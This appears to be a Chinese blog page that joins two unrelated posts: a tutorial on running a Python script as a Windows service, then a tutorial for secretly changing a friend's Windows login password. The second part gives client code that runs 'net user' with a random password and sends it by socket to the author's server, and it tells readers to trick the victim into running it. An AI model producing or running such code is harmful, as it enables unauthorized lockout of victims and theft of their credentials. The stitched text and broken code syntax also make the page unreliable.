只想說凡事不能想當然,實踐出真理。
最近自己用python做了一個定時任務,代碼調試也都通過了,之后是打算做成windows服務,不要問我為啥不用Linux,因為我是windows系統,不想在虛擬機里折騰。預期中這應該不需要花費太長時間,結果浪費我很長時間。
主要問題是:服務可以安裝成功,但是啟動服務就提示1053錯誤。
網上的代碼基本都是千篇一律,看的都快懷疑人生,能不能不要抄來抄去。最后翻墻去谷歌搜索,發現了解決方案,網站在此(https://gist.github.com/guillaumevincent/d8d94a0a44a7ec13def7f96bfb713d3f)
先說下環境:
系統: win10
工具:python 3.7.3
打包工具:pyinstaller
測試代碼(WindowsService.py)如下:
import servicemanager
import socket
import sys
import win32event
import win32service
import win32serviceutil
class TestService(win32serviceutil.ServiceFramework):
_svc_name_="TestService"_svc_display_name_="Test Service"def __init__(self, args):win32serviceutil.ServiceFramework.__init__(self, args)self.hWaitStop=win32event.CreateEvent(None, 0, 0, None)socket.setdefaulttimeout(60)def SvcStop(self):self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)win32event.SetEvent(self.hWaitStop)def SvcDoRun(self):# 具體的執行代碼,可以將自己的代碼放在此處rc=Nonewhile rc !=win32event.WAIT_OBJECT_0:with open('C:\TestService.log', 'a') as f:f.write('test service running...\n')rc=win32event.WaitForSingleObject(self.hWaitStop, 5000)if __name__=='__main__':
if len(sys.argv)==1:servicemanager.Initialize()servicemanager.PrepareToHostSingle(TestService)servicemanager.StartServiceCtrlDispatcher()else:
win32serviceutil.HandleCommandLine(TestService)
pyinstaller安裝就不說了,網上有很多教程,大家可以自行搜索。
打開運行命令(WIN+R),進入代碼所在的文件目錄
1、執行打包命令:
pyinstaller -F --hidden-import=win32timezone WindowsService.py
2、安裝windows服務
WindowsService.exe install
3、啟動服務
WindowsService.exe start
執行完上述服務,打開服務services.msc
就可以在服務列表里看到服務了
最后如果想刪除服務,可以執行如下命令
4、停止服務
WindowsService.exe stop
5、移除服務
WindowsService.exe remove
如果還是有問題可以嘗試在系統環境變量Path里添加如下內容
今天教大家用python腳本來控制小伙伴們windows電腦的開機密碼。沒錯就是神不知鬼不覺,用random隨機生成的密碼,只有你自己知道哦~
代碼呢分兩部分,一部分是client端跟server端兩個。你只需要想辦法讓小伙伴運行你的client端腳本就OK啦。不過在此之前你一定要在你的電腦上運行server端哦~這樣子的話,client端會在你的小伙伴電腦上隨機生成一個密碼然后通過socket發給server端也就是發給你哦~
下面放代碼,順便加點注釋。
client端代碼:
# client.py://文件名
import socket //導入用到的模塊
import getpass
import subprocess
import random
client=socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket實例
client.connect(('10.0.0.1', 44444)) //連接server端IP地址/端口按你自己實際情況來
user=getpass.getuser //獲取計算機用戶名
psd='' //給一個psd變量(密碼)為空
for j in range(1, 9): //生成1-9的隨機數
m=str(random.randrange(0, 10))
psd=psd + m
subprocess.Popen(['net', 'User', user, psd]) //在本地執行(類似于cmd命令)
client.send(psd.encode('utf-8')) //將密碼發送給server端
back_msg=client.recv(1024)
client.close //關閉socket
print psd //避免出現差錯忘記密碼 先在本地打印
server端代碼:
# server.py //文件名
import socket //導入socket
server=socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket
server.bind(('10.0.0.1', 44444)) //綁定IP/端口
server.listen(5) //監聽
print('starting....')
conn, addr=server.accept //連接
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg=conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper)
conn.close
server.close
OK代碼寫完后我們開始運行一下程序(推薦在虛擬機下運行,萬一出個差錯搞不好真忘記密碼!切記切記)~
首先先在我的Linux上運行server端,來等待接收來自client端傳過來的密碼。
運行server.py腳本
然后windows運行client端,它會顯示生成的密碼
(前提是在cmd命令行下運行否則你雙擊一下會消失)
cmd下運行
現在再注銷或者是重啟輸入原始密碼就會發現密碼錯誤,怎么密碼呢也已經發到我們的server端了。
server收到密碼
如果你現在想改回密碼的話,千萬不要關機 打開cmd輸入“net user 你的用戶名 你要改變的密碼” 然后回車就ok了。
好啦,本次文章就寫到這啦。大家對什么內容感興趣歡迎給鄙人留言,鄙人會盡量照顧到大家的口味的~
*聲明:本文于網絡整理,版權歸原作者所有,如來源信息有誤或侵犯權益,請聯系我們刪除或授權事宜。